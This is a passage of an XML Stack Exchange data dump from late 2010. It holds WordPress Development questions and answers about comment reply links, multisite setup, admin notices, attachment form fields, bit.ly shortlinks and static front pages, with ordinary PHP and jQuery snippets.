One',$comment-&amp;gt;comment_content);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This removes the text nofollow from a comments body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment_reply_link-&amp;gt;reply_text  = str_replace('Reply', 'Test Two',$comment_reply_link-&amp;gt;reply_text );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As another test to replace the anchor text of the Reply link to&#xA;confirm I'm on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$comment_reply_link-&amp;gt;link  = str_replace('nofollow', '',$comment_reply_link-&amp;gt;link );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to delete the nofollow part of the rel attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't work either&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried a variety of permutations with no joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditorDisplayName="" LastEditDate="2010-12-19T22:14:26.043" LastActivityDate="2011-09-01T05:32:38.490" Title="Editing the Comment Reply Link" Tags="&lt;comments&gt;&lt;nofollow&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5631" PostTypeId="2" ParentId="5629" CreationDate="2010-12-19T22:35:18.783" Score="1" ViewCount="" Body="&lt;p&gt;If you use Flickr, you can use the &lt;a href=&quot;http://tantannoodles.com/toolkit/photo-album/&quot; rel=&quot;nofollow&quot;&gt;Flickr Photo Album&lt;/a&gt; plugin to display your Flickr photos on your WP site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://grantpalin.com/gallery/&quot; rel=&quot;nofollow&quot;&gt;Have a look at my gallery&lt;/a&gt;. This is how I set it up, but it is &lt;strong&gt;very&lt;/strong&gt; configurable, so you can customize the layout to suit.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2010-12-19T22:35:18.783" />
  <row Id="5632" PostTypeId="2" ParentId="5627" CreationDate="2010-12-19T22:35:29.423" Score="3" ViewCount="" Body="&lt;p&gt;&quot;However it seems that I can't just convert to multisite&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why he told you that, because it &lt;em&gt;is&lt;/em&gt; possible. I mean,.... it's kind of the whole point of why multisite was merged in - so existing sites could just turn it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User roles on the main site will stay exactly the same.&#xA;there may be a couple plugins that don;t like the network, but... if they are used on your main blog, you're probably fine. If one &lt;em&gt;is&lt;/em&gt; broken, there's likely a replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, multisite is pretty common now, most of the plugin issues are worked out. A good way to check, if it's the membership plugin you're worried about is to go to their site and/or support forums and ask them. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only &quot;catch&quot; right now is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want a subfolder install. In that setup, the main blog will get a /blog/ stuffed in the permalinks to prevent conflicts with site urls and page urls. this can mess up your permalinks (obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can ALSO disable it after installation. Go to Super Admin -&gt; Sites and click edit on the main site. Remove it in any of the fields. Presto, problem solved and you now have multisite on your existing blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your last question - just enable multisite. If you're really nervous, make a backup of your site, install it locally, and do it there as a test run.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-19T22:35:29.423" CommentCount="1" />
  <row Id="5633" PostTypeId="2" ParentId="5516" CreationDate="2010-12-19T22:36:42.933" Score="2" ViewCount="" Body="&lt;p&gt;Here are a couple of extra links if you want to import settings stored only in the database and not saved in WordPress's export files&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bavatuesdays.com/importing-a-single-wp-blog-to-a-wpmu-installation/&quot; rel=&quot;nofollow&quot;&gt;Importing a single WP blog to a WPMu Installation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sillybean.net/2010/09/migrating-single-wordpress-installations-into-multisite-networks/&quot; rel=&quot;nofollow&quot;&gt;Migrating single WordPress installations into multisite networks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1391" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-21T14:57:44.870" LastActivityDate="2010-12-21T14:57:44.870" CommentCount="1" />
  <row Id="5634" PostTypeId="2" ParentId="5630" CreationDate="2010-12-19T22:45:05.630" Score="3" ViewCount="" Body="&lt;p&gt;functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_nofollow($link, $args, $comment, $post){&#xA;  return str_replace(&quot;rel='nofollow'&quot;, &quot;&quot;, $link);&#xA;}&#xA;&#xA;add_filter('comment_reply_link', 'remove_nofollow', 420, 4);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-19T22:45:05.630" CommentCount="2" />
  <row Id="5635" PostTypeId="2" ParentId="5629" CreationDate="2010-12-19T22:52:19.183" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at WP Slideshow Gallery - &lt;a href=&quot;http://wpgallery.tribulant.net&quot; rel=&quot;nofollow&quot;&gt;http://wpgallery.tribulant.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1288" LastActivityDate="2010-12-19T22:52:19.183" />
  <row Id="5636" PostTypeId="2" ParentId="1794" CreationDate="2010-12-19T23:42:32.007" Score="0" ViewCount="" Body="&lt;p&gt;This is interesting solution, I look for a way to display terms as a dropdown menu in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you are doing is to save each of the terms of the taxonomy as a meta_field. &#xA;In that way, what if I would like to save them as terms, so to be able to use the archive template for each term. Of course I can in this case get_posts via the meta_name and meta_value, but why to convert the terms into meta fields and not use the natively?&#xA;Isn't there a way to display them as a dropdown menu but not converting them to meta_fields, but save them in the database in all meanings of terms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Maor&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2010-12-19T23:42:32.007" />
  <row Id="5637" PostTypeId="2" ParentId="919" CreationDate="2010-12-19T23:57:34.890" Score="1" ViewCount="" Body="&lt;p&gt;Privacy plugin for the one where you want some users to not be able to access certain sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/network-privacy/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/network-privacy/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-19T23:57:34.890" CommentCount="1" />
  <row Id="5638" PostTypeId="1" AcceptedAnswerId="5640" CreationDate="2010-12-20T00:10:34.730" Score="0" ViewCount="157" Body="&lt;p&gt;I'd like to give users a little welcome message on their first login to the admin area. Once they hide the message it should not appear again. I noticed admin_notice is a hook but don't know where to start. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-21T13:57:13.943" Title="Add a notice to users upon first login to the admin area" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="5639" PostTypeId="2" ParentId="1794" CreationDate="2010-12-20T00:13:07.103" Score="2" ViewCount="" Body="&lt;p&gt;I think that this is the answer to that. I found &lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; which answer both.&#xA;Creating a meta box, and utilize the save function to save it as a term taxonomy instead of a meta_field&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2010-12-20T00:13:07.103" />
  <row Id="5640" PostTypeId="2" ParentId="5638" CreationDate="2010-12-20T00:52:33.103" Score="3" ViewCount="" Body="&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_notices', 'my_notice');    &#xA;function my_notice(){&#xA;  $user = wp_get_current_user();&#xA;  $seen_notice = get_option('my_notice');&#xA;  if(isset($seen_notice[$user-&amp;gt;ID]) &amp;amp;&amp;amp; $seen_notice[$user-&amp;gt;ID]){&#xA;   ?&amp;gt;&#xA;      &amp;lt;div class=&quot;updated fade below-h2&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;           Hi &amp;lt;?php echo $user-&amp;gt;user_login; ?&amp;gt;! Bla blah...&#xA;           &amp;lt;a class=&quot;hide-me&quot;&amp;gt;Hide me&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;  &#xA;&#xA;      &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;       jQuery(document).ready(function($) {&#xA;&#xA;        $(&quot;a.hide-me&quot;).live('click', function(){&#xA;         $$$ = $(this);&#xA;         $.ajax({&#xA;          url: '&amp;lt;?php echo admin_url(&quot;admin-ajax.php&quot;); ?&amp;gt;',&#xA;          type: &quot;GET&quot;,&#xA;          data: ({&#xA;            action: 'hide_my_notice',&#xA;            _ajax_nonce: '&amp;lt;?php echo wp_create_nonce('hide-my-notice'); ?&amp;gt;'&#xA;          }),&#xA;          success: function(data) { $$$.closest(&quot;div&quot;).remove(); }    &#xA;         });&#xA;        });&#xA;       });&#xA;      &amp;lt;/script&amp;gt;    &#xA;  &amp;lt;?php     &#xA;  }  &#xA;}&#xA;&#xA;add_action('wp_ajax_hide_my_notice', 'hide_my_notice');&#xA;function hide_my_notice(){&#xA;  check_ajax_referer(&quot;hide-my-notice&quot;);&#xA;  $user = wp_get_current_user();&#xA;  $seen_notice = get_option('my_notice');&#xA;  $seen_notice[$user-&amp;gt;ID] = true;&#xA;  update_option('my_notice', $seen_notice);&#xA;  die();&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;strike&gt;&lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;options&lt;/a&gt;&lt;/strike&gt; cookies or &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transients&lt;/a&gt; to store the notice status &lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-21T13:57:13.943" LastActivityDate="2010-12-21T13:57:13.943" CommentCount="9" />
  <row Id="5641" PostTypeId="2" ParentId="5628" CreationDate="2010-12-20T00:53:18.717" Score="4" ViewCount="" Body="&lt;p&gt;wp_users is the primary table, with a fixed list of columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wp_usermeta is an additional table for storing arbitrary information (custom fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wp_users table already has a user_email column, so I don't know why the plugin uses wp_usermeta. I guess the best person to ask would be the plugin author himself.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-12-20T00:53:18.717" />
  <row Id="5642" PostTypeId="1" AcceptedAnswerId="5649" CreationDate="2010-12-20T00:56:34.427" Score="1" ViewCount="164" Body="&lt;p&gt;I am using wordpress Multisite installation .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)I want to run my website faster .Especially the main site.There are near about 50 plugins .I want to exclude many of these plugins on Main site and activate to other sub-sites.Could any body tell me how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have other three questions related to plugins on multisite installation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)Is there any chance for too much load on server or trouble loading pages if I Use 50 + plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)For two months I installed many plugins and un-installed them .Now i doubt that if the traces of these deleted plugins affect the server load. Is that true? If so how can I get rid of them ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4)Some of the plugins would be activated on some sub-sites and active on some other sub-sites.So does the plugins on the sub-sites which are not active affect the server load?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance !&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-12-20T02:15:04.093" LastActivityDate="2010-12-20T10:30:58.967" Title="Exclude plugins on Main site on Multisite installation?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5643" PostTypeId="2" ParentId="5642" CreationDate="2010-12-20T01:19:13.183" Score="2" ViewCount="" Body="&lt;p&gt;If your server load is high, it could be due to all kinds of factors. As for plugins, there's no magic number, but inactive plugins do not add any load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your site is being visited a lot, that has more to do with load that anything. Or a wonky plugin. An incorreclty coded plugin can do more damage than ten perfect ones.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-20T01:19:13.183" CommentCount="1" />
  <row Id="5644" PostTypeId="1" AcceptedAnswerId="5654" CreationDate="2010-12-20T01:55:51.393" Score="1" ViewCount="122" Body="&lt;p&gt;Is it possible to make a &quot;page, not a blog post&quot; the main entry on your site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to create a summary of the latest content as the first page the user visits on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Wordpress 3.0.3&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2010-12-20T10:54:42.513" Title="Making a wordpress page the index on the site?" Tags="&lt;page&gt;&lt;homepage&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="5645" PostTypeId="1" AcceptedAnswerId="5652" CreationDate="2010-12-20T02:34:57.070" Score="3" ViewCount="295" Body="&lt;p&gt;To simplify the Media Library layout to users when uploading an image, sometimes i hide the following fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myAttachmentFields($form_fields, $post) {&#xA;&#xA;    if ( substr($post-&amp;gt;post_mime_type, 0, 5) == 'image' ) {&#xA;&#xA;&#xA; $form_fields['image_alt']['value'] = '';&#xA; $form_fields['image_alt']['input'] = 'hidden';&#xA;&#xA; $form_fields['post_excerpt']['value'] = '';&#xA; $form_fields['post_excerpt']['input'] = 'hidden';&#xA;&#xA; $form_fields['post_content']['value'] = '';&#xA; $form_fields['post_content']['input'] = 'hidden';&#xA;&#xA; $form_fields['url']['value'] = '';&#xA; $form_fields['url']['input'] = 'hidden';&#xA;&#xA; $form_fields['align']['value'] = 'aligncenter';&#xA; $form_fields['align']['input'] = 'hidden';&#xA;&#xA; $form_fields['image-size']['value'] = 'thumbnail';&#xA; $form_fields['image-size']['input'] = 'hidden';&#xA;&#xA; $form_fields['image-caption']['value'] = 'caption';&#xA; $form_fields['image-caption']['input'] = 'hidden';&#xA;&#xA;    }&#xA;&#xA;    return $form_fields;&#xA;&#xA;}&#xA;&#xA;add_filter('attachment_fields_to_edit', 'myAttachmentFields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&#xA;How do I hide the Insert into post button and the Set image text link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2010-12-21T10:39:40.343" Title="Trying to hide buttons from Attachment window" Tags="&lt;attachments&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" />
  <row Id="5646" PostTypeId="2" ParentId="5211" CreationDate="2010-12-20T02:38:11.617" Score="1" ViewCount="" Body="&lt;p&gt;I use two plugins for moving comments, have used them on a site for moving over 1,000 comments to various posts (most of my commenter's posted 90%+ comments on one popular post no matter what the comment was about!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dountsis.com/projects/move-comments/&quot; rel=&quot;nofollow&quot;&gt;http://www.dountsis.com/projects/move-comments/&lt;/a&gt; : this allows you to move multiple comments in one go. This one is useful for moving entire threads from one post to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin recommended by pootzko : move one comment at a time including changing threading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if you move a threaded comment with replies to another post and don't move the replies as well it &quot;breaks&quot; the threading, you'll find the child comments aren't threaded correctly. So you have to move them all in a thread (or remove the threading on the child comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2010-12-20T02:38:11.617" />
  <row Id="5647" PostTypeId="2" ParentId="5592" CreationDate="2010-12-20T03:20:29.490" Score="0" ViewCount="" Body="&lt;p&gt;There are plugins for this like &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-recent-posts-widget/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used a similar plugin (derivative of the plugin above) code (original source no longer available, hence no link, only found it two weeks ago as well!) to create a Multisite sitemap Page template that lists the most recent 300 new multisites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download my Page template at www.google-adsense-templates.co.uk/seo-plugin/sitemap-multisite.zip will only work with the Talian 05 SEO theme, but you could easily copy the relevant code to your own themes Page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2010-12-20T03:20:29.490" />
  <row Id="5648" PostTypeId="2" ParentId="5629" CreationDate="2010-12-20T03:51:14.303" Score="1" ViewCount="" Body="&lt;p&gt;Photospace &lt;a href=&quot;http://wordpress.org/extend/plugins/photospace/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/photospace/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to just use jquery I recommend &lt;a href=&quot;http://www.twospy.com/galleriffic/&quot; rel=&quot;nofollow&quot;&gt;http://www.twospy.com/galleriffic/&lt;/a&gt;  galleriffic.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-20T04:40:30.940" LastActivityDate="2010-12-20T04:40:30.940" CommentCount="1" />
  <row Id="5649" PostTypeId="2" ParentId="5642" CreationDate="2010-12-20T06:23:44.407" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I only recently started to poke multisite, as far as I understand you activate plugins per-site by activating theme in that site's admin area. You can switch between backend of different sites in &lt;code&gt;Super Admin &amp;gt; Sites &amp;gt; (hover cursor on site) &amp;gt; Backend&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Server load is not about quantity of plugins, but quality and performance specific of plugins used, amount of page views and caching.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can try plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/clean-options/&quot; rel=&quot;nofollow&quot;&gt;Clean Options&lt;/a&gt; to check for leftover settings, but it is still manual work to properly determine and safely remove options. Leftover database tables are even more of a mess.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inactive plugins are not processed in any way. WordPress stores information about active plugins in database and only loads those on the list. Rest are merely ignored files on hard drive when inactive.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-12-20T10:30:58.967" LastActivityDate="2010-12-20T10:30:58.967" CommentCount="4" />
  <row Id="5650" PostTypeId="1" CreationDate="2010-12-20T07:17:00.850" Score="1" ViewCount="126" Body="&lt;p&gt;I have a problem with WP that need your help. Some of my posts have content that was applied &quot;wp_autop&quot; filters already. This filter turned all double break lines into &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag. I want to the opposite thing: turn all &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag into double break lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:47:11.613" LastActivityDate="2011-03-02T23:59:40.107" Title="Is there un-wp_autop function?" Tags="&lt;wp-admin&gt;&lt;content&gt;&lt;wp-autop&gt;" AnswerCount="2" />
  <row Id="5651" PostTypeId="1" AcceptedAnswerId="5656" CreationDate="2010-12-20T07:27:47.703" Score="0" ViewCount="335" Body="&lt;p&gt;I have this code on my functions.php for getting shorturl over bit.ly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bitly() {&#xA;global $post;&#xA;$bitly = file_get_contents('http://api.bit.ly/v3/shorten?login=USER&amp;amp;apiKey=KEY&amp;amp;longUrl='.urlencode(get_permalink($post-&amp;gt;ID)).'&amp;amp;format=txt');&#xA;echo $bitly;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but, sometimes i got error like this &quot;Function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in functions.php on line 614&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 614 is code from above. What i want is to handle that error and not show it for users. But instead of showing bit.ly short url, if error 404 is there, i want to show default wp.me url for users or if not possible wp.me then whole url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;I fixed this with this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bitly() {&#xA;global $post;&#xA;$bitly = wp_remote_retrieve_body (wp_remote_get('http://api.bit.ly/v3/shorten?login=USERNAME&amp;amp;apiKey=APIKEY&amp;amp;longUrl='.urlencode(get_permalink($post-&amp;gt;ID)).'&amp;amp;format=txt'));&#xA;if( is_wp_error( $bitly ) ) {&#xA;echo wp_get_shortlink($post-&amp;gt;ID); }&#xA;else { echo $bitly; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1853" LastEditorUserId="1853" LastEditorDisplayName="" LastEditDate="2011-01-27T21:21:36.053" LastActivityDate="2011-01-27T21:21:36.053" Title="file_get_contents - failed to open stream" Tags="&lt;functions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5652" PostTypeId="2" ParentId="5645" CreationDate="2010-12-20T07:43:15.647" Score="2" ViewCount="" Body="&lt;p&gt;Jose, give this a shot and see if that's the kind of thing you had in mind..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Done a little bit of testing and copying of core code to archieve this, but i think the new example i've added below should do what you've described, remove the buttons, &quot;Insert into Post&quot;, etc..., but keep a delete link. I've left the original example i provided because it may be useful to someone.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;New Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Remove buttons, but keep a delete link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myAttachmentFields($form_fields, $post) {&#xA;    // Can now see $post becaue the filter accepts two args, as defined in the add_fitler&#xA;    if ( substr( $post-&amp;gt;post_mime_type, 0, 5 ) == 'image' ) {&#xA;        $form_fields['image_alt']['value'] = '';&#xA;        $form_fields['image_alt']['input'] = 'hidden';&#xA;&#xA;        $form_fields['post_excerpt']['value'] = '';&#xA;        $form_fields['post_excerpt']['input'] = 'hidden';&#xA;&#xA;        $form_fields['post_content']['value'] = '';&#xA;        $form_fields['post_content']['input'] = 'hidden';&#xA;&#xA;        $form_fields['url']['value'] = '';&#xA;        $form_fields['url']['input'] = 'hidden';&#xA;&#xA;        $form_fields['align']['value'] = 'aligncenter';&#xA;        $form_fields['align']['input'] = 'hidden';&#xA;&#xA;        $form_fields['image-size']['value'] = 'thumbnail';&#xA;        $form_fields['image-size']['input'] = 'hidden';&#xA;&#xA;        $form_fields['image-caption']['value'] = 'caption';&#xA;        $form_fields['image-caption']['input'] = 'hidden';&#xA;&#xA;        $form_fields['buttons'] = array(&#xA;            'label' =&amp;gt; '',&#xA;            'value' =&amp;gt; '',&#xA;            'input' =&amp;gt; 'html'&#xA;        );&#xA;        $filename = basename( $post-&amp;gt;guid );&#xA;        $attachment_id = $post-&amp;gt;ID;&#xA;        if ( current_user_can( 'delete_post', $attachment_id ) ) {&#xA;            if ( !EMPTY_TRASH_DAYS ) {&#xA;                $form_fields['buttons']['html'] = &quot;&amp;lt;a href='&quot; . wp_nonce_url( &quot;post.php?action=delete&amp;amp;amp;post=$attachment_id&quot;, 'delete-attachment_' . $attachment_id ) . &quot;' id='del[$attachment_id]' class='delete'&amp;gt;&quot; . __( 'Delete Permanently' ) . '&amp;lt;/a&amp;gt;';&#xA;            } elseif ( !MEDIA_TRASH ) {&#xA;                $form_fields['buttons']['html'] = &quot;&amp;lt;a href='#' class='del-link' onclick=\&quot;document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\&quot;&amp;gt;&quot; . __( 'Delete' ) . &quot;&amp;lt;/a&amp;gt;&#xA;                         &amp;lt;div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'&amp;gt;&quot; . sprintf( __( 'You are about to delete &amp;lt;strong&amp;gt;%s&amp;lt;/strong&amp;gt;.' ), $filename ) . &quot;&#xA;                         &amp;lt;a href='&quot; . wp_nonce_url( &quot;post.php?action=delete&amp;amp;amp;post=$attachment_id&quot;, 'delete-attachment_' . $attachment_id ) . &quot;' id='del[$attachment_id]' class='button'&amp;gt;&quot; . __( 'Continue' ) . &quot;&amp;lt;/a&amp;gt;&#xA;                         &amp;lt;a href='#' class='button' onclick=\&quot;this.parentNode.style.display='none';return false;\&quot;&amp;gt;&quot; . __( 'Cancel' ) . &quot;&amp;lt;/a&amp;gt;&#xA;                         &amp;lt;/div&amp;gt;&quot;;&#xA;            } else {&#xA;                $form_fields['buttons']['html'] = &quot;&amp;lt;a href='&quot; . wp_nonce_url( &quot;post.php?action=trash&amp;amp;amp;post=$attachment_id&quot;, 'trash-attachment_' . $attachment_id ) . &quot;' id='del[$attachment_id]' class='delete'&amp;gt;&quot; . __( 'Move to Trash' ) . &quot;&amp;lt;/a&amp;gt;&amp;lt;a href='&quot; . wp_nonce_url( &quot;post.php?action=untrash&amp;amp;amp;post=$attachment_id&quot;, 'untrash-attachment_' . $attachment_id ) . &quot;' id='undo[$attachment_id]' class='undo hidden'&amp;gt;&quot; . __( 'Undo' ) . &quot;&amp;lt;/a&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;        else {&#xA;            $form_fields['buttons']['html'] = '';&#xA;        }&#xA;    }&#xA;    return $form_fields;&#xA;}&#xA;// Hook on after priority 10, because WordPress adds a couple of filters to the same hook - added accepted args(2)&#xA;add_filter('attachment_fields_to_edit', 'myAttachmentFields', 11, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Original Example&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Example of how to remove all buttons, but provide an insert into post button.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myAttachmentFields($form_fields, $post) {&#xA;&#xA;    if ( substr( $post-&amp;gt;post_mime_type, 0, 5 ) == 'image' ) {&#xA;&#xA;        // .. $form_fields code here(per above example), trimmed for illustration ..&#xA;&#xA;        $form_fields['buttons'] = array(&#xA;            'label' =&amp;gt; '', // Put a label in?&#xA;            'value' =&amp;gt; '', // Doesn't need one&#xA;            'html' =&amp;gt; &quot;&amp;lt;input type='submit' class='button' name='send[$post-&amp;gt;ID]' value='&quot; . esc_attr__( 'Insert into Post' ) . &quot;' /&amp;gt;&quot;,&#xA;            'input' =&amp;gt; 'html'&#xA;        );&#xA;    }&#xA;    return $form_fields;&#xA;}&#xA;// Hook on after priority 10, because WordPress adds a couple of filters to the same hook&#xA;add_filter('attachment_fields_to_edit', 'myAttachmentFields', 15, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the filter to priorty 15, so it's hooked on after WordPress has hooked it's own filters on(because it adds them at the default priority of 10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure you wanted the insert button, just wanted to give an example of replacing the original buttons with a singular insert one.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-21T10:39:40.343" LastActivityDate="2010-12-21T10:39:40.343" />
  <row Id="5654" PostTypeId="2" ParentId="5644" CreationDate="2010-12-20T08:15:48.593" Score="2" ViewCount="" Body="&lt;p&gt;yes, it's a simple setup in your wordpress settings,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, go to your Admin area =&gt; Settings =&gt; Reading&#xA;and select to use a Static Page as a Front Page,&#xA;from the drop down menu select the page you want to use and put inside the content you want/need, just don't put a Loop inside.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2010-12-20T08:15:48.593" CommentCount="2" />
